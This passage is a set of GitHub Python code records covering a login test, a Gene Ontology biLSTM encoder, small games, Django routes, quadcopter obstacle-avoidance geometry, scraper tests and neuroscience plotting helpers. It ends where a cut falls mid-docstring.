{"seq_id":"22101581926","text":"from util.modules import ddt\nfrom util.gettestdata import get_testcase\nfrom config import root_path\nfrom util.test_star_end import TestStarEnd\nfrom bussinses.login_page import Login_test\nfrom util import log\n\ncase_path = root_path + '\\\\data\\\\case.xlsx'\ncasedata = get_testcase(case_path, 1, '登录')\n\n\n@ddt.ddt\nclass Testlogin(TestStarEnd):\n    @ddt.data(*casedata)\n    def test_login1(self, casedata):\n        self.logs = log.log_message('登陆测试')\n        self.name = casedata['username']\n        self.pwd = casedata['pwd']\n        self.suc = casedata['suc']\n        self.assert_value = casedata['assert']\n        self.re_data = Login_test(self.driver).login(self.name, self.pwd, self.suc)\n        self.logs.logger.info('断言预期结果:[%s]是否等于实际结果:[%s]' % (self.assert_value, self.re_data))\n        # self.imgs.append(self.driver.add_img()) #截图\n        self.assertEqual(self.re_data, self.assert_value)\n\n\n\n\n","repo_name":"shaofeng666/pica_test","sub_path":"case/test_login.py","file_name":"test_login.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"24611682709","text":"\nfrom __future__ import absolute_import, division, print_function\n\nimport argparse,csv,logging,os,random,sys,pickle,gzip,json,re\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm, trange\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch import optim\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\nfrom torch.nn.init import xavier_uniform_\n\nfrom torch.utils.data import (DataLoader, RandomSampler, SequentialSampler,TensorDataset)\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torch.nn import CrossEntropyLoss, MSELoss\nfrom scipy.stats import pearsonr, spearmanr\nfrom sklearn.metrics import matthews_corrcoef, f1_score\n\nfrom pytorch_pretrained_bert.tokenization import BertTokenizer, load_vocab\n\nfrom torch_geometric.data import Data\nfrom torch_geometric.nn import GCNConv\n\nsys.path.append(\"/local/datdb/GOmultitask\")\n\nimport biLSTM.encoder.arg_input as arg_input\nargs = arg_input.get_args()\n\nimport biLSTM.encoder.data_loader as data_loader\nimport biLSTM.encoder.encoder_model as encoder_model\nimport biLSTM.encoder.entailment_model as entailment_model\nimport biLSTM.encoder.bi_lstm_model as bi_lstm_model\n\nMAX_SEQ_LEN = 256\n\nos.chdir(args.main_dir)\n\nfull_label_name_array = pd.read_csv(\"go_name_in_obo.csv\", header=None)\nfull_label_name_array = list (full_label_name_array[0])\nargs.num_label = len(full_label_name_array)\n\n#### load label description data\n\nif args.w2v_emb is not None: ## we can just treat each node as a vector without word description \n  Vocab = load_vocab(args.vocab_list) # all words found in pubmed and trained in w2v ... should trim down\n\n## read go terms entailment pairs to train\n\nInputReader = data_loader.QnliProcessor()\nlabel_list = InputReader.get_labels() ## no/yes entailment style\nnum_labels = len(label_list) ## no/yes entailment style, not the total # node label\n\nif args.test_file is None: \n\n  # full_label_name_array = [ re.sub(r\"GO:\",\"\",g) for g in full_label_name_array ] ## **** for the rest, we don't use the \"GO:\"\n\n  ## get label-label entailment data\n  train_label_examples = InputReader.get_train_examples(args.qnli_dir,\"train\"+\"_\"+args.metric_option+\".tsv\")\n  train_label_features = data_loader.StringInput2FeatureInput(train_label_examples, label_list, MAX_SEQ_LEN, tokenizer=Vocab, tokenize_style=\"space\", full_label_name_array=full_label_name_array)\n  train_label_dataloader = data_loader.MakeDataLoader4Model (train_label_features,batch_size=args.batch_size_aa_go,fp16=args.fp16, sampler='random',metric_option=args.metric_option)\n  # torch.save( train_label_dataloader, os.path.join(args.qnli_dir,\"train_label_dataloader\"+name_add_on+\".pytorch\") )\n  print ('\\ntrain_label_examples {}'.format(len(train_label_examples))) # train_label_examples 35776\n\n  \"\"\" get dev or test set  \"\"\"\n  # get label-label entailment data\n  InputReader = data_loader.QnliProcessor()\n  dev_label_examples = InputReader.get_dev_examples(args.qnli_dir,\"dev\"+\"_\"+args.metric_option+\".tsv\")\n  dev_label_features = data_loader.StringInput2FeatureInput(dev_label_examples, label_list, MAX_SEQ_LEN, tokenizer=Vocab, tokenize_style=\"space\", full_label_name_array=full_label_name_array)\n  dev_label_dataloader = data_loader.MakeDataLoader4Model (dev_label_features,batch_size=args.batch_size_aa_go,fp16=args.fp16, sampler='sequential',metric_option=args.metric_option)\n  # torch.save( dev_label_dataloader, os.path.join( args.qnli_dir, \"dev_label_dataloader\"+name_add_on+\".pytorch\") )\n  print ('\\ndev_label_examples {}'.format(len(dev_label_examples))) # dev_label_examples 7661\n\n\n#### make model\nother_params = {'dropout': 0.2,\n                'metric_option': args.metric_option\n                }\n\npretrained_weight = None\nif args.w2v_emb is not None:\n  pretrained_weight = pickle.load(open(args.w2v_emb,'rb'))\n  pretrained_weight.shape[0]\n  other_params ['num_of_word'] = pretrained_weight.shape[0]\n  other_params ['word_vec_dim'] = pretrained_weight.shape[1]\n  other_params ['pretrained_weight'] = pretrained_weight \n\n# cosine model\n# **** in using cosine model, we are not using the training sample A->B then B not-> A\ncosine_loss = encoder_model.cosine_distance_loss(args.bilstm_dim,args.def_emb_dim, args)\n\n# entailment model\nent_model = entailment_model.entailment_model (num_labels,args.bilstm_dim,args.def_emb_dim,weight=torch.FloatTensor([1.5,.75])) # torch.FloatTensor([1.5,.75])\n\nmetric_pass_to_joint_model = {'entailment':ent_model, 'cosine':cosine_loss}\n\n## make bilstm-entailment model\n\nbiLstm = bi_lstm_model.bi_lstm_sent_encoder( other_params['word_vec_dim'], args.bilstm_dim )\n\nmodel = encoder_model.encoder_model ( args, metric_pass_to_joint_model[args.metric_option], biLstm, **other_params )\n\nif args.use_cuda:\n  print ('\\n\\n send model to gpu\\n\\n')\n  model.cuda()\n\n\nrandom.seed(args.seed) ####\nnp.random.seed(args.seed)\ntorch.manual_seed(args.seed)\n\nprint ('model is')\nprint (model)\n\nif args.model_load is not None: \n  print ('\\n\\nload back best model {}'.format(args.model_load))\n  model.load_state_dict( torch.load( args.model_load ), strict=False )\n\nif args.epoch > 0 : ## here we do training \n  ## **** train\n  tr_loss = model.do_train(train_label_dataloader,dev_label_dataloader)\n  # save\n  torch.save(model.state_dict(), os.path.join(args.result_folder,\"last_state_dict.pytorch\"))\n  ## load back best\n  print ('\\n\\nload back best state dict\\n\\n')\n  model.load_state_dict( torch.load( os.path.join(args.result_folder,\"best_state_dict.pytorch\") ) )\n\n\n\n#### added code to write out the vector as .txt \n\nif args.write_vector: \n  print ('\\n\\nwrite emb')\n  print ('\\n\\nwrite GO vectors into text, using format of python gensim library')\n  AllLabelDesc = data_loader.LabelReaderToProduceVecOutput ()\n  examples = AllLabelDesc.get_examples( args.label_desc_dir ) ## file @label_desc_dir is tab delim \n  examples = data_loader.LabelDescription2FeatureInput ( examples , MAX_SEQ_LEN, tokenizer=Vocab, tokenize_style=\"space\", full_label_name_array=full_label_name_array )\n  AllLabelLoader, GO_names = data_loader.LabelLoaderToProduceVecOutput(examples,64) ## should be able to handle 64 labels at once \n  label_emb = model.write_label_vector( AllLabelLoader,os.path.join(args.result_folder,\"label_vector.txt\"), GO_names )\n\n\n#### load test data\nprint ('\\n\\nload test data\\n\\n')\n\n# get label-label entailment data\n# WILL REUSE SOME VARIABLE NAMES\n\nInputReader = data_loader.QnliProcessor()\n\nif args.test_file is None:\n  args.test_file = args.qnli_dir,\"test\"+\"_\"+args.metric_option+\".tsv\"\n  dev_label_examples = InputReader.get_dev_examples(args.test_file)\nelse: \n  dev_label_examples = InputReader.get_test_examples(args.test_file)\n\nprint ('\\n\\ntest file name{}'.format(args.test_file))\n\ndev_label_features = data_loader.StringInput2FeatureInput(dev_label_examples, label_list, MAX_SEQ_LEN, tokenizer=Vocab, tokenize_style=\"space\", full_label_name_array=full_label_name_array)\n\ndev_label_dataloader = data_loader.MakeDataLoader4Model (dev_label_features,batch_size=args.batch_size_aa_go,fp16=args.fp16, sampler='sequential',metric_option=args.metric_option)\n\nprint ('\\ntest_label_examples {}'.format(len(dev_label_examples))) # dev_label_examples 7661\n\nprint ('\\n\\neval on test')\nresult, preds, loss = model.do_eval(dev_label_dataloader)\n\nif args.write_score is not None: \n  print ('\\n\\nscore file name {}'.format(args.write_score))\n  fout = open(args.write_score,\"w\")\n  fout.write( 'score\\n'+'\\n'.join(str(s) for s in preds) )\n  fout.close() \n\n\n","repo_name":"datduong/EncodeGeneOntology","sub_path":"biLSTM/encoder/do_model.py","file_name":"do_model.py","file_ext":"py","file_size_in_byte":7500,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
{"seq_id":"32704383706","text":"from math import floor\n\nPLAYER = \"P\"\nWALL_SYMBOL = \"X\"\nCOINS_TARGET = 100\nDIRECTION = {\n    \"up\": (-1, 0), \"down\": (+1, 0), \"left\": (0, -1), \"right\": (0, +1)\n}\n\n\ndef build_field(n):\n    \"\"\"\n    On the first line, you will be given a number representing the size of the field with square shape.\n    On the next few lines, you will be given a field with:\n    -> One player randomly placed in it and marked with symbol \"P\";\n    -> Numbers for coins placed at different positions of the field\n    -> Walls marked with \"X\".\n    \"\"\"\n    field_matrix = []\n    for _ in range(n):\n        field_matrix.append([x for x in input().split(\" \")])\n    return field_matrix\n\n\ndef get_player_position(field, last_positions):\n    if not last_positions:\n        for row_idx in range(len(field)):\n            if PLAYER in field[row_idx]:\n                col_idx = field[row_idx].index(PLAYER)\n                return row_idx, col_idx\n    else:\n        last_position = last_positions[-1]\n        last_row_index = last_position[0]\n        last_col_index = last_position[-1]\n        return last_row_index, last_col_index\n\n\ndef is_next_step_in_range(field, next_row, next_col):\n    return 0 <= next_row < len(field) and 0 <= next_col < len(field)\n\n\ndef next_step(player_row, player_col, command):\n    dir_row, dir_col = DIRECTION[command]\n    new_row_idx = player_row + dir_row\n    new_col_idx = player_col + dir_col\n    return new_row_idx, new_col_idx\n\n\ndef is_next_step_wall(field, nex_row_idx, next_col_idx, wall_symbol):\n    if not field[nex_row_idx][next_col_idx] == wall_symbol:\n        return True\n\n\ndef is_game_won(coins):\n    return coins >= COINS_TARGET\n\n\ndef main(field):\n    \"\"\"\n    After the field state, you will be given commands for the players movement.\n    Commands can be: \"up\", \"down\", \"left\", \"right\". If the command is invalid, you should ignore it.\n    If the player goes out of the field or he hits a wall, he loses the game and his coins are reduced to 50%\n    and ROUNDED DOWN TO THE NEXT LOWES NUMBER. **** THE PROGRAM ENDS ***\n    Otherwise, the player has to collect AT LEAST ___100 COINS TO WIN___ the game.\n    \"\"\"\n    positions = []\n    coins = 0\n\n    while True:\n        if is_game_won(coins):\n            return coins, positions\n\n        command = input()\n        if command not in DIRECTION:\n            continue\n\n        player_row_idx, player_col_index = get_player_position(field, positions)\n        nex_row_idx, next_col_idx = next_step(player_row_idx, player_col_index, command)\n\n        if not is_next_step_in_range(field, nex_row_idx, next_col_idx):\n            return floor(coins / 2), positions\n\n        if not is_next_step_wall(field, nex_row_idx, next_col_idx, WALL_SYMBOL):\n            return floor(coins / 2), positions\n\n        coins += int(field[nex_row_idx][next_col_idx])\n        positions.append((nex_row_idx, next_col_idx))\n\n\ndef print_solution(coins, positions):\n    \"\"\"\n    Output\n    If the player won the game, print: \"You won! You've collected {total_coins} coins.\"\n    If the player loses the game, print: \"Game over! You've collected {total_coins} coins.\"\n    Collected coins have to be rounded down to the next-lowest number.\n    The field positions from which the player has collected coins as lists:\n    Your path:\n    [{row_position1}{column_position1}]\n    [{row_position2}{column_position2}]\n    [{row_position3}{column_position3}] and so on...\n    \"\"\"\n    if is_game_won(coins):\n        print(f\"You won! You've collected {coins} coins.\")\n    else:\n        print(f\"Game over! You've collected {coins} coins.\")\n    print(\"Your path:\")\n    for path in positions:\n        print(f\"{[*path]}\")\n\n\nstarting_field = build_field(int(input()))\ncoins, positions = main(starting_field)\n\nif __name__ == '__main__':\n    print_solution(coins, positions)\n","repo_name":"vvakrilov/python_courses","sub_path":"03. Advanced/11.PythonAdvanced-Exams/05.Python Advanced Exam - 14 February 2021/02.Collect 100 coins.py","file_name":"02.Collect 100 coins.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70204347023","text":"from . import views\nfrom django.urls import path\n\nurlpatterns = [\n    path('dashboard', views.index,name='dashboard-index'),\n    path('staff/', views.staff,name='staff'),\n    path('product/', views.product,name='product'),\n    path('product/delete/<int:pk>/', views.product_delete,name='product_delete'),\n    path('product/update/<int:pk>/', views.product_update,name='product_update'),\n    path('staff/details/<int:pk>/', views.staff_details,name='staff_details'),\n    path('order/', views.order,name='order'),\n]","repo_name":"imranlatur24/django_inventory_project","sub_path":"dashboard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12103575455","text":"from turtle import *\nfrom random import random, randint, choice\nfrom time import sleep\n\n\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\n\n\nclass Sprite(Turtle):\n    def __init__(self):\n        Turtle.__init__(self)\n\n\nclass CustomTurtle(Sprite):\n    def __init__(self, start_x: int, start_y: int, number: int):\n        Sprite.__init__(self)\n        self.validate_int(start_x)\n        self.validate_int(start_y)\n        self.validate_int(number)\n\n        self.__speed = choice(speed)\n        self.__color = self.random_color()\n        self.__number = number\n        self.hideturtle()\n        self.speed(0)\n        self.up()\n        self.goto(start_x, start_y)\n        self.color(self.__color)\n        self.shape('turtle')\n        self.showturtle()\n\n    @classmethod\n    def validate_int(cls, data):\n        if not isinstance(data, int):\n            raise TypeError('Argument must be integer type')\n        else:\n            return data\n\n    @staticmethod\n    def random_color():\n        turtle_color = random(), random(), random()\n        return turtle_color\n\n    @staticmethod\n    def random_delta(speed):\n        return randint(speed[0] // 10, speed[1] // 10)\n\n    def get_color(self):\n        return self.__color\n\n    def get_number(self):\n        return self.__number\n\n    def move(self):\n        self.forward(self.random_delta(self.__speed))\n\n    def check_border(self):\n        if self.xcor() + 20 > Border.FINISH_X:\n            return Turtle\n        return False\n\n\nclass Border(Sprite):\n    START_X = -SCREEN_WIDTH // 2 + 100\n    START_Y = SCREEN_HEIGHT // 2 - 30\n    FINISH_X = SCREEN_WIDTH // 2 - 100\n    FINISH_Y = -SCREEN_HEIGHT // 2 + 30\n\n    def __init__(self):\n        Sprite.__init__(self)\n        self.hideturtle()\n        self.width(5)\n        self.speed(0)\n        self.draw_start_line()\n        self.draw_finish_line()\n\n    def draw_start_line(self):\n        self.up()\n        self.goto(self.START_X, self.START_Y)\n        self.right(90)\n        self.down()\n        self.forward(SCREEN_HEIGHT - 50)\n        self.up()\n\n    def draw_finish_line(self):\n        self.left(90)\n        self.goto(self.FINISH_X, self.FINISH_Y)\n        self.left(90)\n        self.down()\n        self.forward(SCREEN_HEIGHT - 50)\n\n\nclass Line(Sprite):\n    def __init__(self):\n        Sprite.__init__(self)\n        self.up()\n        self.hideturtle()\n        self.speed(0)\n        self.width(2)\n\n    def draw_line(self):\n        self.down()\n        self.forward(SCREEN_WIDTH - 200)\n        self.up()\n\n\nclass Number(Sprite):\n    def __init__(self):\n        Sprite.__init__(self)\n        self.__font = ('Arial', 16, 'bold')\n        self.up()\n        self.hideturtle()\n\n    def get_font(self):\n        return self.__font\n\n\ndef countdown():\n    number.goto(0, 0)\n    number.color('red')\n    for count in range(3, 0, -1):\n        window.update()\n        number.write(f'{count}', font=('Arial', 30, 'bold'), align='center')\n        sleep(1)\n\n        number.clear()\n    number.color('blue')\n\n\ndef write_lines(turtle):\n    line.color(turtle.get_color())\n    line.goto(turtle.xcor() + 50, turtle.ycor() - 10)\n    line.draw_line()\n    line.goto(turtle.xcor() + 50, turtle.ycor() + 10)\n    line.draw_line()\n\n\ndef write_numbers(turtle):\n    number.goto(Border.FINISH_X + 20, turtle.ycor() - 20)\n    number.write(turtle.get_number(), font=number.get_font(), align='center')\n\n\ndef fill_turtles(qty):\n    global start_y, start_x\n    for i in range(qty):\n        turtles.append(CustomTurtle(start_x, start_y, i + 1))\n        write_lines(turtles[i])\n        write_numbers(turtles[i])\n        start_y -= 50\n\n\ndef game():\n    fill_turtles(5)\n    while True:\n        for turtle in turtles:\n            if turtle.check_border():\n                number.color('red')\n                number.goto(0, SCREEN_HEIGHT // 2 - 40)\n                number.write(f'Winner is {turtle.get_number()}', font=number.get_font(), align='center')\n                sleep(3)\n                window.exitonclick()\n            turtle.move()\n            window.update()\n\n\nspeed = [(1, 17), (10, 30), (5, 45)]\nstart_x = -SCREEN_WIDTH // 2 + 50\nstart_y = SCREEN_HEIGHT // 2 - 50\n\nwindow = Screen()\nwindow.title('Turtle races by @wspjoy')\nwindow.setup(SCREEN_WIDTH, SCREEN_HEIGHT)\nwindow.onkey(window.bye, 'Escape')\nwindow.tracer(0)\n\nnumber = Number()\ncountdown()\n\nborder = Border()\nline = Line()\nturtles = []\n\nwindow.listen()\ngame()","repo_name":"wspjoy2011/logica","sub_path":"solar_system.py","file_name":"solar_system.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"16510704677","text":"import random\r\n\r\n\"\"\"Three constants used for computing later on\"\"\"\r\nCARDS = []\r\nSUITS = [\"Spades\", \"Clubs\", \"Diamonds\", \"Hearts\"]\r\nRANKS = [\"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"Jack\", \"Queen\", \"King\", \"Ace\"]\r\n\r\n\"\"\"Populates the deck based on existing suits and ranks\"\"\"\r\nfor suit in SUITS:\r\n    for rank in RANKS:\r\n        CARDS.append(f\"{rank} of {suit}\")\r\n\r\n\r\ndef check_cards(card1, card2):\r\n    \"\"\"Checks which card is higher. In case of same rank checks for higher suit\"\"\"\r\n    _card1 = card1.split()\r\n    _card2 = card2.split()\r\n    index1, index2 = RANKS.index(_card1[0]), RANKS.index(_card2[0])\r\n    if not index1 == index2:\r\n        return card1 if index1 > index2 else card2\r\n    else:\r\n        return card1 if SUITS.index(_card1[2]) > SUITS.index(_card1[2]) else card2\r\n\r\n\r\ndef pick_cards(num):\r\n    \"\"\"Picks num cards into each hand, makes sure there are no repetitions by removing specific card from the deck\"\"\"\r\n    first_hand = []\r\n    second_hand = []\r\n    deck = CARDS[:]\r\n    for i in range(num):\r\n        card = random.choice(deck)\r\n        first_hand.append(card)\r\n        deck.remove(card)\r\n    for i in range(num):\r\n        card = random.choice(deck)\r\n        second_hand.append(card)\r\n        deck.remove(card)\r\n    return first_hand, second_hand\r\n\r\n\r\ndef compare_hands(first_hand, second_hand):\r\n    \"\"\"Compares both hands for a length of smaller hand, prints higher cards and presents total number of wins\"\"\"\r\n    no_of_comparisions = min(len(first_hand), len(second_hand))\r\n    result = []\r\n    for i in range(no_of_comparisions):\r\n        result.append(check_cards(first_hand[i], second_hand[i]))\r\n        print(result[i])\r\n    total_first_hand = 0\r\n    for card in first_hand:\r\n        if card in result:\r\n            total_first_hand += 1\r\n    return f\"The result has been presented above for first {no_of_comparisions} cards. First hand had {total_first_hand} winning cards, while second hand had {len(result) - total_first_hand} of them.\"\r\n\r\n\r\ndef present_hands(first_hand, second_hand):\r\n    return f\"First hand: {', '.join(first_hand)} \\nSecond hand: {', '.join(second_hand)}\"\r\n\r\n\r\nfirst_hand, second_hand = pick_cards(5)\r\nprint(present_hands(first_hand, second_hand))\r\nprint(compare_hands(first_hand, second_hand))\r\n","repo_name":"hokuspikus/fresh_start","sub_path":"deck.py","file_name":"deck.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"43191241108","text":"import math\nfrom decimal import Decimal\n\nMultip = 2\n\n#r = 1.5*0.55*delta         turn 1m into position\n\ndef get_new_road(road):\n    result_list = []\n    obs_list = build_obstacle()\n\n    for i in range(len(road)-1):\n        x1 = road[i]\n        x2 = road[i+1]\n        temp_new_way(x1,x2,obs_list,result_list)\n    result_list.append(road[len(road)-1]) \n    # for i in result_list:\n    #     print('hello '+str(i))\n    return result_list\n\n\ndef temp_new_way(x1,x2,obs_list,result_list):\n    result_list.append(x1)\n    print('check road ' + str(x1) + '===>' +str(x2))\n\n    for ob in obs_list:\n        cross,p0,p1 = ob.cross(x1,x2)\n        if not cross:\n            x3 = [p0,p1,x2[2]]\n            temp_new_way(x3,x2,obs_list,result_list)\n\n\ndef build_obstacle():\n    ob_list = []\n    new_list = []\n    file = open('obstacle.txt','r')\n    for i in file:\n        i = i.replace('\\n','')\n        i = eval(i)\n        ob_list.append(i)\n    for i in ob_list:\n        obj = Circle([i[0],i[1]])\n        print(i[0],i[1])\n        new_list.append(obj)\n    return new_list\n\n\nclass  Circle():\n    def __init__( self,origin):\n        self.r = 1\n        self.origin = origin\n\n    def get_qie_point(self,x1,x2):\n        # yi xie xiao de xi jie wen ti, returnCode.etc\n        _,a,b = self.get_best_point(x1,x2)\n        _,c,d = self.get_best_point(x2,x1)\n\n        x = [a,b]\n        y = [c,d]\n        # print(x,y)\n        A = x1[1]-x[1]\n        B = x[0]-x1[0]\n        C = x1[0]*x[1]-x1[1]*x[0]\n\n        a = x2[1]-y[1]\n        b = y[0]-x2[0]\n        c = x2[0]*y[1]-x2[1]*y[0]\n\n        # print(A,B,C)\n        # print(a,b,c)\n        temp1 = (c/b-C/B)/(A/B-a/b)\n        temp2 = (c/a-C/A)/(B/A-b/a)\n        temp1 = round(temp1,2)\n        temp2 = round(temp2,2)\n\n        print('point:',temp1,temp2)\n\n        return temp1,temp2\n\n    def get_best_point(self,x1,x2):\n        x0 = self.origin[0]\n        y0 = self.origin[1]\n        x = x1[0]\n        y = x1[1]\n        d1 = math.sqrt((x-x0)*(x-x0)+(y-y0)*(y-y0))      #distance x1 to origin \n        d2 = math.sqrt(d1*d1 - self.r*self.r)\n        A = x1[1]-x2[1]\n        B = x2[0]-x1[0]\n        C = x1[0]*x2[1]-x1[1]*x2[0]\n\n        vx = (x0-x)/d1\n        vy = (y0-y)/d1\n\n        f = math.asin( self.r / d1);\n\n        temp1 = round(vx * math.cos(f) - vy * math.sin(f),2)\n        temp2 = round(vx * math.sin(f) + vy * math.cos(f),2)\n        temp3 = round(vx * math.cos(-f) - vy * math.sin(-f),2)\n        temp4 = round(vx * math.sin(-f) + vy * math.cos(-f),2)\n        temp1 = round(x + temp1 * d2 * Multip,2)\n        temp2 = round(y + temp2 * d2 * Multip,2)\n        temp3 = round(x + temp3 * d2 * Multip,2)\n        temp4 = round(y + temp4 * d2 * Multip,2)\n        s1 = abs(A*temp1+B*temp2+C)\n        s2 = abs(A*temp3+B*temp4+C)\n        d3 = math.sqrt( (x1[0]-x2[0])*(x1[0]-x2[0])+(x1[1]-x2[1])*(x1[1]-x2[1]) )\n        if d3 < d2:\n            return True,0,0\n        else:\n            if s1 > s2:\n                return False,temp3,temp4\n            else:\n                return False,temp1,temp2\n\n    def cross(self,x1,x2):      #True means can corss\n        x1[0] = round(x1[0],2)\n        x1[1] = round(x1[1],2)\n        x2[0] = round(x2[0],2)\n        x2[1] = round(x2[1],2)\n        A = x1[1]-x2[1]\n        B = x2[0]-x1[0]\n        C = x1[0]*x2[1]-x1[1]*x2[0]\n        temp = A*self.origin[0]+B*self.origin[1]+C\n        dist = abs(temp)\n        dist = dist/(math.sqrt(A*A+B*B))\n        if self.r < dist:\n\n            return True,0,0\n        else:   #add point to cross\n            result,_,_ = self.get_best_point(x1,x2)\n            p0,p1 = self.get_qie_point(x1,x2)\n            return result,p0,p1\n\n\nif __name__ == '__main__':\n    # circle = Circle([-1.7,-3.5])\n    # a,x,y = circle.cross([-0.09999998658895493, -6.250014305114746],[-3.0, -0.9000134468078613+0.5])\n    # print(x,y)\n    # mylist = build_obstacle()\n    # print(mylist[0].origin)\n    circle = Circle([1,1])\n    a,b = circle.get_qie_point([-1,4/3],[3,4/3])","repo_name":"shijy16/quadcopter","sub_path":"Circle.py","file_name":"Circle.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10816407764","text":"import datetime\nfrom os.path import dirname, join\n\nimport pytest\nfrom city_scrapers_core.constants import ADVISORY_COMMITTEE, PASSED\nfrom city_scrapers_core.utils import file_response\n\nfrom city_scrapers.spiders.chi_mayors_bicycle_advisory_council import (\n    ChiMayorsBicycleAdvisoryCouncilSpider,\n)\n\ntest_response = file_response(\n    join(dirname(__file__), \"files\", \"chi_mayors_bicycle_advisory_council.html\"),\n)\nspider = ChiMayorsBicycleAdvisoryCouncilSpider()\nparsed_items = [item for item in spider.parse(test_response)]\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_title(item):\n    assert item[\"title\"] == \"Mayor's Bicycle Advisory Council\"\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_description(item):\n    assert item[\"description\"] == \"\"\n\n\ndef test_start():\n    assert parsed_items[0][\"start\"] == datetime.datetime(2018, 3, 7, 15, 0)\n\n\ndef test_end():\n    assert parsed_items[0][\"end\"] is None\n\n\ndef test_id():\n    assert (\n        parsed_items[0][\"id\"]\n        == \"chi_mayors_bicycle_advisory_council/201803071500/x/mayor_s_bicycle_advisory_council\"  # noqa\n    )\n\n\ndef test_status():\n    assert parsed_items[0][\"status\"] == PASSED\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_location(item):\n    assert item[\"location\"] == {\n        \"address\": \"121 N LaSalle St, Chicago, IL 60602\",\n        \"name\": \"City Hall, Room 1103\",\n    }\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_source(item):\n    assert item[\"source\"] == spider.BASE_URL\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_links(item):\n    doc_types = [\"Agenda\", \"Meeting Minutes\", \"Presentations\"]\n\n    if item[\"start\"] == datetime.datetime(2015, 6, 11, 15):\n        doc_types.append(\"D. Taylor Comments\")\n    elif item[\"start\"] == datetime.datetime(2015, 3, 12, 15):\n        doc_types.remove(\"Presentations\")\n    elif item[\"start\"] == datetime.datetime(2018, 12, 12, 15):\n        doc_types = []\n\n    assert [d[\"title\"] for d in item[\"links\"]] == doc_types\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_all_day(item):\n    assert item[\"all_day\"] is False\n\n\n@pytest.mark.parametrize(\"item\", parsed_items)\ndef test_classification(item):\n    assert item[\"classification\"] == ADVISORY_COMMITTEE\n","repo_name":"City-Bureau/city-scrapers","sub_path":"tests/test_chi_mayors_bicycle_advisory_council.py","file_name":"test_chi_mayors_bicycle_advisory_council.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":309,"dataset":"github-code","pt":"47"}
{"seq_id":"14176153285","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom ipywidgets import interact\nfrom sklearn.preprocessing import scale\nfrom Helper_Functions.OrthoViewer import OrthoAxes\nimport itertools\nfrom scipy.stats import percentileofscore as inv_quantile\nimport ipywidgets as widgets\n\n\ndef plot_dff_traces(signal,times,indices,dff):\n    \"\"\"Plot signal and a dff trace selected with a slider from a list of possible indices.\n\n    Parameters :\n    ------------\n    signal : 1d array\n        external signal, shape (n_timepoints)\n        \n    times : 1d array\n        timepoints of signal and dff, shape (n_timepoints)\n\n    indices : 1d array\n        indices of the neurons that can be selected with the slider\n     \n    dff : 2d array\n        rescaled fluorescence traces for all neurons, shape (n_neurons,n_timepoints)\n    \"\"\"\n    @interact(neuron=(0,len(indices)-1,1))\n    def _plot_dff_traces(neuron=0):\n        plt.close()\n        fig,ax=plt.subplots()\n        ax.plot(times,scale(signal),label='external signal')\n        ax.plot(times,scale(dff[indices[neuron]]),'k',label='neuron $\\Delta F/F$')\n        ax.set_xlim(times[0],times[-1])\n        ax.set_xlabel('time (s)')\n        ax.legend()\n        plt.show()\n        \n        \ndef plot_dff_raster(signal,times,indices,dff):\n    \"\"\"Plot dff of neurons with certain indices in a raster plot, also plot signal for comparison.\n\n    Parameters :\n    ------------\n    signal : 1d array\n        external signal, shape (n_timepoints)\n        \n    times : 1d array\n        timepoints of signal and dff, shape (n_timepoints)\n\n    dff : 2d array\n        rescaled fluorescence traces for all neurons, shape (n_neurons,n_timepoints)\n    \n    indices : 1d array\n        indices of the neurons that can be selected with the slider\n    \"\"\"\n    fig,ax=plt.subplots()\n    divider=make_axes_locatable(ax)\n    tax=divider.append_axes('top',size='10%',pad=0.1,sharex=ax)\n    cax=divider.append_axes('right',size='2%',pad=0.1)\n\n    dt=np.mean(np.diff(times))\n    extent=[times[0]-dt/2,times[-1]+dt/2,len(indices)-0.5,-0.5]\n    cmap='inferno'\n\n    tax.imshow(signal.reshape(1,-1),cmap=cmap,aspect='auto',interpolation='none',extent=extent)\n    tax.tick_params(axis='both',which='both',bottom=False,left=False,labelbottom=False,labelleft=False)\n    tax.set_title('signal')\n\n    im=ax.imshow(dff[indices],cmap=cmap,interpolation='none',aspect='auto',extent=extent)\n    cbar=plt.colorbar(im,cax=cax)\n    cbar.set_label(r'$\\Delta F/F$')\n    ax.set_xlabel('time (s)')\n    ax.set_ylabel('neurons')\n    plt.show()\n    \n    \ndef plot_brain_layers(coords,opacity,mask=None,alpha_out=0.5,c='blue',s=4):\n    \"\"\"Plot neuron positions in a single layer that can be selected with a slider.\n    Opacity values are given as inputs. They are cropped to positive valuesand rescaled to the range [0,1].\n    Optionally a mask can be given so that neurons outside the mask are plotted in light grey.\n    \n    Parameters :\n    ------------\n    coords : 2d array\n        neuron positions, shape 